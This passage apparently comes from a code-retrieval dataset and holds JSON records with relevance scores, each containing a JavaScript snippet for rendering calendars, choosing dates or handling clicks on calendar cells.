class='events-list'></div>\\\n\t\t\t\t\t\t</td>\";\t\n\t\t\t\t\t}\n\t\t\t\t\tget_events_list(new Date(year, month, j-day+1));\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tif(j-day+1 == now.getDate()){\n\t\t\t\t\t\thtml += \"<td class='month-theme today'>\"+ (j-day+1) +\"</td>\";\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\thtml += \"<td class='month-theme'>\"+ (j-day+1) +\"</td>\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\thtml += \"<td>\"+ (j-totalDays-day+1) +\"</td>\";\t\n\t\t\t}\n\t\t}\n\t\thtml +=\"</tr>\";\n\t}\n\treturn html;\n}", "title": "" }, { "docid": "363441da14b65bdee396a52da9cd934e", "score": "0.5698252", "text": "function smallerTD(e) {\n // alert('clicked')\n let clickedDate = e.path[0];\n let modalId = clickedDate.getAttribute('data-modal');\n $(`#${modalId}`).modal('toggle');\n }", "title": "" }, { "docid": "89f44feee05fff797dbc4f5ab50320ba", "score": "0.5696984", "text": "onDayClick(e) {\n e.preventDefault();\n let day = e.target;\n if (day.tagName !== 'LI') {\n day = day.parentElement;\n }\n let date = new Date(day.getAttribute('data-day'))\n this.datepicker.year = date.getFullYear();\n this.datepicker.month = date.getMonth();\n this.datepicker.day = date.getDate();\n this.datepicker.$currentPicker.datepicker('setDate', date);\n this.datepicker.update();\n }", "title": "" }, { "docid": "eedd7489ed2103c0af51f6f0be378514", "score": "0.5693615", "text": "function addOnclick(){\n var dayFields = document.getElementsByClassName('fc-daygrid-day');\n var today = new Date();\n var month = document.getElementsByClassName('fc-toolbar-title')[0];\n month = month.textContent.split(' ')[0];\n\n for(var i = 0; i < dayFields.length; i++){\n var day = new Date(dayFields[i].getAttribute('data-date'));\n\n if ( day <= today || today.getMonth() == day.getMonth()) {\n // When day fidld is past or its month equal to today's month\n continue;\n } else {\n if ( day.getMonth() == monthToNumber[month] ){\n // When the field's month is equal calendar's month\n dayFields[i].setAttribute('onclick', 'addForm(this)');\n }\n }\n }\n}", "title": "" }, { "docid": "877f6b4b7f5b85922f63b9c417bb87b8", "score": "0.56925124", "text": "function ds_onclick(d, m, y) {\n \n\t// Hide the calendar.\n\tds_hi();\n\t\n\t\n\t// Set the value of it, if we can.\n if (textbox_id == null)\n {\n \t if (typeof(ds_element.value) != 'undefined') {\n\t //document.getElementById(textbox_id).value=ds_format_date(d, m, y);\n\t\t ds_element.value = ds_format_date(d, m, y);\n\t // Maybe we want to set the HTML in it.\n\t } else if (typeof(ds_element.innerHTML) != 'undefined') {\n\t // document.getElementById(textbox_id).value=ds_format_date(d, m, y);\n\t\t ds_element.innerHTML = ds_format_date(d, m, y);\n\t // I don't know how should we display it, just alert it to user.\n\t } else {\n\t \n\t alert (ds_format_date(d, m, y));\n\t }\n\n }\n else {\n document.getElementById(textbox_id).value=ds_format_date(d, m, y);\n }\n}", "title": "" }, { "docid": "5c2132ebe79381574ffeb09d69a68362", "score": "0.5684927", "text": "function ShowCalendar(htmlelement, month, year, functionday) {\n\n\tmonth = parseInt(month);\n\tyear = parseInt(year);\n\n\tvar o = document.getElementById(htmlelement);\n\tvar str = \"\";\n\tvar Monat = new Array(\"Januar\", \"Februar\", \"M&auml;rz\", \"April\", \"Mai\", \"Juni\",\n\t \"Juli\", \"August\", \"September\", \"Oktober\", \"November\", \"Dezember\");\n\to.innerHTML = \"\";\n\tmonth--;\n\n\tvar firstofmonth = new Date(year, month, 1);\n\tvar firstweekday = firstofmonth.getDay();\n\tvar lastofmonth = MaxDateOfMonth(month+1, year);\n\tvar temp = new Date();\n\tvar today = new Date(temp.getFullYear(), temp.getMonth(), temp.getDate());\n\n\tvar lnk_prev_month = month;\n\tvar lnk_prev_year = year;\n\t\n\tvar lnk_post_month = month + 2;\n\tvar lnk_post_year = year;\n\n\tif(lnk_prev_month == 0) {\n\t\tlnk_prev_month = 12;\n\t\tlnk_prev_year = year - 1;\n\t}\n\n\tif(lnk_post_month == 13) {\n\t\tlnk_post_month = 1;\n\t\tlnk_post_year = year + 1;\n\t}\n\t\n\tstr += \"<table width=\\\"100%\\\" height=\\\"100%\\\" cellspacing=0 border=0>\";\n\tstr += \"<tr><td class=\\\"kal-header-lnk\\\" onclick=\\\"ShowCalendar('\"+htmlelement+\"', \"+lnk_prev_month+\", \"+lnk_prev_year+\", '\"+functionday+\"');\\\"><img src=\\\"back.png\\\" /></td>\"\n\tstr += \"<td colspan=6 class=\\\"kal-header\\\">\"\n\tvar onclickchoose = \"onchange=\\\"ShowCalendar('\"+htmlelement+\"', document.getElementById('monthchoose').value, document.getElementById('yearchoose').value, '\"+functionday+\"');\\\"\";\n\tstr += \"<select class=\\\"choose\\\" id=\\\"monthchoose\\\" \"+onclickchoose+\">\"+GenerateMonthOptions(month, Monat)+\"</select>\";\n\tstr += \"<select class=\\\"choose\\\" id=\\\"yearchoose\\\" \"+onclickchoose+\">\"+GenerateYearOptions(year)+\"</select>\";\n\tstr += \"</td>\";\n\tstr += \"<td class=\\\"kal-header-lnk\\\" onclick=\\\"ShowCalendar('\"+htmlelement+\"', \"+lnk_post_month+\", \"+lnk_post_year+\", '\"+functionday+\"');\\\"><img src=\\\"fwd.png\\\" /></td></tr>\";\n\tstr += GenerateHeaderRow();\n\n\tvar actualweek = getWeek(year, month, 1);\n\n\tstr += \"<tr>\";\n\tstr += \"<td class=\\\"kal-week\\\">\"+actualweek+\"</td>\";\n\tvar fill = firstweekday - 1;\n\tif(fill < 0) {\n\t\tfill += 7;\n\t}\n\tfor(var i = 0; i < fill; i++) {\n\t\tstr += \"<td>&nbsp;</td>\";\n\t}\n\t\n\tvar now = firstofmonth.getDate();\n\tvar weeklines = 0;\n\twhile(now <= lastofmonth) {\n\t\tvar nowdate = new Date(year, month, now);\n\t\tvar onmouseover = \"onmouseover=\\\"KALOnMouseOver('\"+htmlelement+\"cell\"+now+\"');\\\"\";\n\t\tvar onmouseout = \"onmouseout=\\\"KALOnMouseOut('\"+htmlelement+\"cell\"+now+\"');\\\"\";\n\t\tif((nowdate.getFullYear() == today.getFullYear()) && (nowdate.getMonth() == today.getMonth()) && (nowdate.getDate() == today.getDate())) {\n\t\t\tstr += \"<td id=\\\"\"+htmlelement+\"cell\"+now+\"\\\" class=\\\"kal-today\\\" onclick=\\\"\"+functionday+\"(\"+year+\", \"+(month+1)+\", \"+now+\");\\\" \"+onmouseover+\" \"+onmouseout+\" title=\\\"Heute\\\">\"+now+\"</td>\";\n\t\t}\n\t\telse if((nowdate.getDay() == 6) || (nowdate.getDay() == 0)) {\n\t\t\tstr += \"<td id=\\\"\"+htmlelement+\"cell\"+now+\"\\\" class=\\\"kal-weday\\\" onclick=\\\"\"+functionday+\"(\"+year+\", \"+(month+1)+\", \"+now+\");\\\" \"+onmouseover+\" \"+onmouseout+\">\"+now+\"</td>\";\n\t\t} else {\n\t\t\tstr += \"<td id=\\\"\"+htmlelement+\"cell\"+now+\"\\\" class=\\\"kal-day\\\" onclick=\\\"\"+functionday+\"(\"+year+\", \"+(month+1)+\", \"+now+\");\\\" \"+onmouseover+\" \"+onmouseout+\">\"+now+\"</td>\";\n\t\t}\n\t\tif(nowdate.getDay() == 0) {\n\t\t\tstr += \"</tr><tr>\";\n\t\t\tif((now) < lastofmonth) {\n\t\t\t\tactualweek = getWeek(year, month, now + 1);\n\t\t\t\tstr += \"<td class=\\\"kal-week\\\">\"+actualweek+\"</td>\";\n\t\t\t\tweeklines++;\n\n\t\t\t}\n\t\t}\n\t\tnow++;\n\t}\n\t\n\tif(weeklines < 5) {\n\t\tstr += \"</tr><tr><td colspan=7>&nbsp;</td>\";\n\t}\n\n\tstr += \"</tr>\";\n\n\t// Aktuelles Datum anzeigen\n\tstr += \"<tr><td colspan=8 class=\\\"today\\\" onclick=\\\"ShowCalendar('\"+htmlelement+\"', \"+(today.getMonth()+1)+\", \"+today.getFullYear()+\", '\"+functionday+\"');\\\">\";\n\tstr += \"Heute: \"+today.getDate()+\". \"+Monat[today.getMonth()]+\" \"+today.getFullYear();\n\tstr += \"</td><tr>\";\n\n\tstr += \"</table>\";\n\to.innerHTML = str;\n}", "title": "" }, { "docid": "a2083694f03750ed50ae5219917a8547", "score": "0.56810474", "text": "function onclick_trigger(dt, cell_select, button_name) {\n dt.on('click', cell_select, function (e) {\n var tr = $(this).closest('tr');\n var row = dt.row(tr);\n row.select();\n dt.buttons(button_name + ':name').trigger();\n e.stopPropagation();\n });\n}", "title": "" }, { "docid": "9c0eb1ebc8df63bc20b36b0925248692", "score": "0.5674742", "text": "function myCalendar(element){\n\tselected_dates = [];\n\tcurrent_month = new Date().getMonth() + 1;\n\tcurrent_year = new Date().getFullYear();\n\n\tlet calendar_html = `\n\t\t<style>\n\t\t\t.MyCalendar{\n\t\t\t\twidth: 100%;\n\t\t\t\theight: 100%;\n\t\t\t}\n\n\t\t\t.MyCalendar-header{\n\t\t\t\twidth: 100%;\n\t\t\t\tcolor: #FF8FAF;\n\t\t\t\tpadding: 0px 2%;\n\t\n\t\t\t}\n\n\t\t\t.MyCalendar-header .MyCalendar-month-year{\n\t\t\t\tdisplay: inline-block;\n\t\t\t}\n\n\t\t\t.MyCalendar-header .MyCalendar-month-year *{\n\t\t\t\tfont-size: 30px;\n\t\t\t}\n\n\t\t\t.MyCalendar-header .MyCalendar-month-change{\n\t\t\t\tdisplay: inline-block;\n\t\t\t\tfloat: right;\n\t\t\t}\n\n\t\t\t.MyCalendar-header .MyCalendar-month-change *{\n\t\t\t\tfont-size: 30px;\n\t\t\t}\n\n\t\t\t.MyCalendar-header .MyCalendar-month-year #MyCalendar-year{\n\t\t\t\tmargin-left: 5px;\n\t\t\t}\n\n\t\t\t.MyCalendar-table{\n\t\t\t\tpadding: 0px 0px;\n\t\t\t}\t\t\t\n\n\t\t\t.MyCalendar-table .MyCalendar-table-row{\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-flow: row nowrap;\n\t\t\t\tjustify-content: space-between;\n\t\t\t}\n\n\t\t\t.MyCalendar-table .MyCalendar-table-header{\n\t\t\t\tfont-size: 12px;\n\t\t\t\tfont-weight: 500;\n\t\t\t}\n\n\t\t\t.MyCalendar-table .MyCalendar-table-cell{\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 13.5%;\n\t\t\t\tpadding: 2.6% 0%;\n\t\t\t\tborder-radius: 40%;\n\t\t\t}\n\n\t\t\t.MyCalendar-table .MyCalendar-table-body{\n\t\t\t\tfont-size: 20px;\n\t\t\t\tcolor: #cfd7dc;\n\t\t\t\tmargin-top: 2%;\n\t\t\t\tfont-weight: 300;\n\t\t\t}\n\n\t\t\t.MyCalendar-table .MyCalendar-table-cell.clickable{\n\t\t\t\tcolor: #DE7A96;\n\t\t\t}\n\n\t\t\t.MyCalendar-table .MyCalendar-table-cell.selected{\n\t\t\t\tbackground-color: #FF8FAF;\n\t\t\t\tcolor: white;\n\t\t\t}\n\n\t\t</style>\n\t\t<div class = \"MyCalendar\">\n\t\t\t<div class = \"MyCalendar-header\">\n\t\t\t\t<div class = \"MyCalendar-month-year\">\n\t\t\t\t\t<span id = \"MyCalendar-month\" class = \"title\"></span>\n\t\t\t\t\t<span id = \"MyCalendar-year\" class = \"title\"></span>\n\t\t\t\t</div>\n\t\t\t\t<div class = \"MyCalendar-month-change\">\n\t\t\t\t\t<span id = \"left-button\"><</span>\n\t\t\t\t\t&nbsp;\n\t\t\t\t\t&nbsp;\n\t\t\t\t\t<span id = \"right-button\">></span>\n\t\t\t\t</div>\n\t\t\t</div>\n\n\t\t\t<div class = \"MyCalendar-table\">\n\t\t\t\t<div class = \"MyCalendar-table-row MyCalendar-table-header\">\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\">MON</div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\">TUE</div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\">WEN</div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\">THU</div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\">FRI</div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\">SAT</div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\">SUN</div>\n\t\t\t\t</div>\n\n\t\t\t\t<div class = \"MyCalendar-table-row MyCalendar-table-body\">\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t</div>\t\n\n\t\t\t\t<div class = \"MyCalendar-table-row MyCalendar-table-body\">\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t</div>\t\n\n\t\t\t\t<div class = \"MyCalendar-table-row MyCalendar-table-body\">\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t</div>\t\n\n\t\t\t\t<div class = \"MyCalendar-table-row MyCalendar-table-body\">\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t</div>\t\n\n\t\t\t\t<div class = \"MyCalendar-table-row MyCalendar-table-body\">\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t</div>\t\n\n\t\t\t\t<div class = \"MyCalendar-table-row MyCalendar-table-body\">\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t\t<div class = \"MyCalendar-table-cell\"></div>\n\t\t\t\t</div>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t</div>\n\t\t</div>\n\t`;\n\telement.html(calendar_html);\n\trenderCalendar(current_year, current_month);\n\n}", "title": "" }, { "docid": "34ee422b5ef0438b218d3942fc66e24b", "score": "0.56685424", "text": "function clickEvent(date) {\n let newDate = moment(date.start,'YYYY-MM-DD').format('MMMM D')\n $('h2.dateTitle').html(newDate)\n }", "title": "" }, { "docid": "a1dfdd5aa89b0728ae86fd1c69a5c26c", "score": "0.56369406", "text": "function showMonth(target, delta){\r\n\t\tvar opts = _this.options;\r\n\t\topts.month += delta;\r\n\t\tif (opts.month > 12){\r\n\t\t\topts.year++;\r\n\t\t\topts.month = 1;\r\n\t\t} else if (opts.month < 1){\r\n\t\t\topts.year--;\r\n\t\t\topts.month = 12;\r\n\t\t}\r\n\t\tshow(target);\r\n\t\t\r\n\t\tvar menu = $(target).find('.calendar-menu-month-inner');\r\n\t\tmenu.find('td.calendar-selected').removeClass('calendar-selected');\r\n\t\tmenu.find('td:eq(' + (opts.month-1) + ')').addClass('calendar-selected');\r\n\t}", "title": "" }, { "docid": "aaa69dd1881cd52fcaaba25401faa3f9", "score": "0.56215066", "text": "monthCell({ day, locale }) {\n if (day.badgeTotal > 0) {\n return `\n ${formatDate(day.date, 'EEEE MMMM d', locale)},\n ${this.i18nPlural.transform(day.badgeTotal, {\n '=0': 'No events',\n '=1': 'One event',\n other: '# events',\n })},\n click to expand\n `;\n }\n else {\n return `${formatDate(day.date, 'EEEE MMMM d', locale)}`;\n }\n }", "title": "" }, { "docid": "12a8912018d82edd4a628b5292c3deb6", "score": "0.56194437", "text": "function editEvent(selected_day) {\n\n}", "title": "" }, { "docid": "f26ae0fea2bb09824adebeb6a747b6a1", "score": "0.5617862", "text": "_attachEventHandlers () {\n const me = this\n const timebutton = this._sDialog.timebutton\n const calendarbutton = this._sDialog.calendarbutton\n const now = this._sDialog.now\n const ok = this._sDialog.ok\n const cancel = this._sDialog.cancel\n const onCancel = new CustomEvent('onCancel')\n const onOk = new CustomEvent('onOk')\n\n if (timebutton) {\n timebutton.onclick = me.toggleType.bind(me)\n }\n\n if (calendarbutton) {\n calendarbutton.onclick = me.toggleType.bind(me)\n }\n\n if (now)\n now.onclick = function (e) {\n now.blur()\n\n // remove the already selected \n let el = document.getElementById('mddtp-date__selected')\n\n if (el) {\n el.id = ''\n el.classList.remove('mddtp-picker__cell--selected')\n }\n\n let m = moment()\n me._sDialog.tDate = me._sDialog.sDate.clone()\n me._sDialog.tDate.day(m.day())\n me._sDialog.tDate.month(m.month())\n me._sDialog.tDate.year(m.year())\n me._buildViewHolder()\n me._cellClicked({target: me.todaycell}, me._sDialog.tDate)\n }\n\n cancel.onclick = function () {\n me.toggle()\n me.fire('cancel')\n }\n\n ok.onclick = function () {\n me._init = me._sDialog.sDate\n me.toggle()\n me.fire('ok', me._sDialog.sDate.toDate())\n }\n }", "title": "" }, { "docid": "bc5c9c0ef64878da9c27e468ed30dc70", "score": "0.56092876", "text": "function selectDate(month,day,year){ \n\t$(\"#startMonth\").attr(\"value\",month); \n\t$(\"#startDay\").attr(\"value\",day); \n\t$(\"#startYear\").attr(\"value\",year);\n\t\t\t\t\n\t$(\"#endMonth\").attr(\"value\",month);\n\t$(\"#endDay\").attr(\"value\",day);\n\t$(\"#endYear\").attr(\"value\",year);\n}", "title": "" }, { "docid": "6ddad68cb33d4c6052a80e469d8972d7", "score": "0.5603054", "text": "function setCalendar() {\n //assign a value to each element of dayArr[]\n for (i = 0; i < numDayNowMonth; i++) {\n dayArr[i] = i+1;\n }\n\n //drawing table calendar (day)\n content += \"<tr>\";\n for (i = 0; i < 7; i++) {\n content += \"<td style = 'border: 1px solid black; width: 61px; height: 33px;\";\n content += \"background-color: #BEBEBE; color: red; font-weight: bold; font-size: 18pt;'>\";\n content += date[i];\n content += \"</td>\";\n }\n content += \"</tr>\";\n\n //drawing table calendar (date)\n for (x = 0; x < 6; x++) {\n content += \"<tr>\";\n for (i = 0; i < 7; i++) {\n if (varloop < numDayNowMonth) {\n //drawing the number of days the last week of the previous month\n if (numDayLastWeek > 0) {\n content += \"<td style = 'border: 1px solid black; width: 61px; height: 33px;'>\";\n content += \"</td>\";\n numDayLastWeek--;\n }\n //drawing the number of days this month\n else {\n //hightlight today\n if ((dayArr[varloop] == dayInput) && (monthInput == today.getMonth()) && \n (yearInput == today.getFullYear())) {\n content += \"<td style = 'border: 1px solid black; width: 61px; height: 33px; color: red;\";\n content += \"font-weight: bold; background-color: white; cursor: pointer;' onclick='selectDay(\";\n content += varloop;\n content += \")'>\";\n content += dayArr[varloop];\n content += \"</td>\";\n }\n else {\n content += \"<td style = 'border: 1px solid black; width: 61px; height: 33px;\";\n content += \"background-color: white; cursor: pointer;' onclick='selectDay(\";\n content += varloop;\n content += \")'>\";\n content += dayArr[varloop];\n content += \"</td>\";\n }\n varloop++;\n }\n }\n }\n content += \"</tr>\";\n }\n}", "title": "" }, { "docid": "ab41a0c4c041fcd39fad5d81cbd3c8ca", "score": "0.5596916", "text": "function goToDate(date) {\r\n if(!date)\r\n date = new Date();\r\n var index = 0;\r\n //each will break when function returns false\r\n $('tr.date b').each( function(i,b) { index = i; return date >= (new Date(b.innerHTML)); });\r\n //ensure index is at least 1\r\n index = Math.max(index,1);\r\n //get the date id\r\n var dateId = $($('tr.date b')[index-1]).attr('id');\r\n //scroll to the current day\r\n scrollTo(dateId);\r\n //$('body').scrollTop($('#' + dateId).offset().top-$('div#wrapper-bread').outerHeight());\r\n //location.href = '#' + dateId;\r\n //set the date selectors to the current day\r\n $('select.dateSelector').val(dateId);\r\n}", "title": "" }, { "docid": "2fe6606cb501fd866c832804a033e80c", "score": "0.5594185", "text": "function initDatePickerSelected(e, className) {\n var current = $(e.target);\n current.closest('table').find('td').each(function () {\n $(this).removeClass(className);\n });\n }", "title": "" }, { "docid": "5d3d4b6c50cd22893ec3dad778944e6a", "score": "0.5590799", "text": "resetCalendarDates() { resetTable(this, 'calendar_dates'); }", "title": "" }, { "docid": "b1cf94393a36e370b50e4de598ce44ac", "score": "0.5580253", "text": "function link(scope) {\n\t\t// set the selected day based on the day selected in the controller or use today\n\t\tscope.selected = setMidday(scope.selected || moment());\n\t\t// copy the selected date to set the month\n\t\tscope.month = scope.selected.clone();\n\t\t\n\t\t// start the calendar on the selected day's month\n\t\tvar monthStart = scope.selected.clone();\n\t\t// generate the current start date for the calendar's initial month\n\t\tmonthStart.date(1);\n\t\t//start the month on a Sunday could be last few days of the month preceeding the selected date\n\t\tsetMidday(monthStart.day(0));\n\t\t// build the selected month\n\t\t// build month sets a list of weeks on the scope\n\t\tbuildMonth(scope, monthStart, scope.month)\n\t\t\n\t\t// select on ng-click\n\t\tscope.select = function(day) {\n\t\t\tscope.selected = day.date;\n\t\t}\n\t\t\n\t\tscope.previousMonth = function() {\n\t\t\tvar previous = scope.month.clone();\n\t\t\t// set \"previous\" to the month before the selected month\n\t\t\tsetMiddaySunday(previous.month(previous.month()-1).date(1));\n\t\t\t//set selected month (on the scope object) to the previous month\n\t\t\tscope.month.month(scope.month.month()-1);\n\t\t\tbuildMonth(scope, previous, scope.month);\n\t\t}\n\t\t\n\t\tscope.nextMonth = function() {\n\t\t\tvar next = scope.month.clone();\n\t\t\tsetMiddaySunday(next.month(next.month()+1).date(1));\n\t\t\tscope.month.month(scope.month.month()+1);\n\t\t\tbuildMonth(scope, next, scope.month);\n\t\t}\n\t\t\n\t\t// set the time to noon\n\t\tfunction setMidday(date) {\n\t\t\treturn date.hour(12).minute(0).second(0).millisecond(0);\n\t\t}\n\t\t\n\t\tfunction setMiddaySunday(date) {\n\t\t\treturn date.day(0).hour(12).minute(0).second(0).millisecond(0);\n\t\t}\n\t\t\n\t\tfunction buildMonth(scope, start, month) {\n\t\t\tscope.weeks = [];\n\t\t\tvar done = false;\n\t\t\t//copy the start of the calendar month (1st of the month or Sunday of preceeding months last week)\n\t\t\tvar date = start.clone();\n\t\t\t//return zero-indexed month of the selected date, jan = 0\n\t\t\tvar monthIndex = date.month();\n\t\t\tvar count = 0;\n\t\t\twhile (!done) {\n\t\t\t\t// add and array of days to the weeks array\n\t\t\t\tscope.weeks.push({\n\t\t\t\t\t// date is the first sunday\n\t\t\t\t\tdays: buildWeek(date.clone(), month)\n\t\t\t\t});\n\t\t\t\t// add one week to the existing moment\n\t\t\t\tdate.add(1, 'w');\n\t\t\t\t// increment count\n\t\t\t\t// exit loop when week is greater than 3 and date.add() pushes into the next month\n\t\t\t\tdone = count++ > 2 && monthIndex !== date.month();\n\t\t\t\tmonthIndex = date.month();\n\t\t\t}\n\t\t}\n\t\t\n\t\t// date passed in is the sunday that starts the week\n\t\t// month is the month of the selected day\n\t\tfunction buildWeek(date, month) {\n\t\t\tvar days = [];\n\t\t\tfor (var i = 0; i < 7; i++) {\n\t\t\t\tdays.push({\n\t\t\t\t\t// get the day of the month \"dddd\" = full day name\n\t\t\t\t\tname: date.format(\"dd\").substring(0, 1),\n\t\t\t\t\t// get the number date of the week\n\t\t\t\t\tnumber: date.date(),\n\t\t\t\t\t// month of displayed calendar might not be the same as the selected month\n\t\t\t\t\tisCurrentMonth: date.month() === month.month(),\n\t\t\t\t\t// check if the calendar day is today\n\t\t\t\t\tisToday: date.isSame(new Date(), 'day'),\n\t\t\t\t\t// store the momentjs object day of the week\n\t\t\t\t\tdate: date\n\t\t\t\t});\n\t\t\t\tdate = date.clone();\n\t\t\t\t// increment the day of the week\n\t\t\t\tdate.add(1, 'd');\n\t\t\t}\n\t\t\treturn days;\n\t\t}\n\t}", "title": "" }, { "docid": "59f0a96bd0dc4358d2b98b930e881385", "score": "0.5576897", "text": "function listenforCellClick() {\n $(document).ready(function() {\n $(\".eventcell\").click(function() {\n var selected = $(this).attr('id');\n var dateForAddEvent = document.getElementById(\"addDay\");\n dateForAddEvent.value = selected;\n document.getElementById(\"addHour\").value = 12;\n document.getElementById(\"addMin\").value = 34;\n document.getElementById(\"tagSelectID\").value = selected;\n genEvent(selected);\n // addEvent(selected);\n });\n });\n}", "title": "" }, { "docid": "6f67b9aeb0e91c2a369bf1e906ec771b", "score": "0.5572429", "text": "function addEventList (lnk){\n viewEventList (lnk);\n //remove border from last selected date\n dayDiv.style.border =\"\";\n currentLink = lnk;\n dayDiv = lnk.parentNode;\n\n //show border for selected date\n dayDiv.style.border =\"2px solid #888\";\n\n //display the selected date and the event input\n const idArray = currentLink.id.split(\"-\");\n const selectDate = new Date(idArray[0],idArray[1],idArray[2]);\n document.getElementById(\"dateDisplay\").innerHTML = \"Add an event for \" + selectDate.toDateString();\n document.getElementById(\"inputContainer\").style.display = \"block\";\n\n}", "title": "" }, { "docid": "be1757ae1b5004bad0d750eadfd228e2", "score": "0.5562903", "text": "function p_disableDateClick($datepicker){\n $datepicker.find('td').off('click');\n}", "title": "" }, { "docid": "a11abc8817da650dc26df6038c1bd67f", "score": "0.55604774", "text": "function rowClick(){\n\n\n\n if (hlr)\n $(\"td:first\", hlr).parent().children().each(function(){$(this).removeClass('markrow');});\n hlr = this;\n $(\"td:first\", this).parent().children().each(function(){$(this).addClass('markrow');});\n\n // You can pull the values out of the row here if required\n var a = $(\"td:first\", this).text() + \" 23:59:59\";\n var b = $(\"td:eq(1)\", this).text();\n var c = $(\"td:eq(0)\", this).text();\n var now = new Date(a);//\"dS mmmm, yyyy\");\n $(\"#chdate\").val(now.format(\"yyyy-mm-dd HH:MM:ss\"));\n var gethis = document.getElementById('chdate').value;\n // $(\"#Management\").trigger('click');\n //$(\"#dash-dis1\").hide();\n $(\"#dash-repo1\").hide();\n $(\"#pat_cap_img\").hide();\n $(\"#camcapimg\").hide();\n $(\"#cap_hd_pat\").show();\n var selected = \"Selected\";\n updated(selected);\n calldisplayall();\n}", "title": "" }, { "docid": "30a62f95ed7e98e93914ee09b2e22ac6", "score": "0.55601496", "text": "function setCurrentDay(month, year) {\n var viewMonth = $('.month').attr('data-month');\n var eventYear = $('.event-days').attr('date-year');\n if (parseInt(year) === yearNumber) {\n if (parseInt(month) === parseInt(viewMonth)) {\n $('tbody.event-calendar td[date-day=\"' + d.getDate() + '\"]').addClass('current-day');\n }\n }\n }", "title": "" }, { "docid": "5d7989c898d1f65dac2bc5230ceddf03", "score": "0.5553803", "text": "populateYearCalendar() {\n let yearView = '';\n $.each(months, function(index, month) {\n let calendar = '<table class=\"day_container\"><tr>' +\n '<th>Su</th>' + '<th>M</th>' +\n '<th>Tu</th>' + '<th>W</th>' +\n '<th>Th</th>' + '<th>F</th>' +\n '<th>Sa</th>' + '</tr>';\n\n let cellCount = 1;\n for (let j = 0; j < month.firstDay; j++) {\n calendar += '<td></td>';\n cellCount++;\n }\n\n for (let i = 1; i <= month.days; i++) {\n let highlight = '';\n if (currentDate.getMonth() + 1 === month.numeric && currentDate.getDate() === i) {\n highlight = 'currentDate';\n }\n\n if (cellCount === 1) {\n calendar += '<tr>';\n }\n\n calendar += '<td class=\"' + highlight + '\" onclick=\"changeView(\\'day\\')\">' + i + '</td>';\n cellCount++;\n\n if (cellCount === 8) {\n calendar += '</tr>';\n cellCount = 1;\n }\n }\n\n calendar += '</table>';\n yearView += '<div class=\"month\"><h3 class=\"monthName\">' + month.month + '</h3>' + calendar + '</div>';\n });\n\n $('#year').html(yearView);\n }", "title": "" }, { "docid": "3fe3261148a8e5bec54216ece612a21f", "score": "0.55489415", "text": "function dayBind(cells) {\r\n\t\tcells.on(\"click\", slotClick)\r\n\t\t\t.on(\"mousedown\", daySelectionMousedown);\r\n\t}", "title": "" }, { "docid": "693c7261ab5023173ae440c9694755bf", "score": "0.5533807", "text": "function createCalendar(date, side) {\n var currentDate = date;\n var startDate = new Date(currentDate.getFullYear(), currentDate.getMonth(), 1);\n\n var monthTitle = document.getElementById(\"month-name\");\n var monthName = currentDate.toLocaleString(\"en-US\", {\n month: \"long\"\n });\n var yearNum = 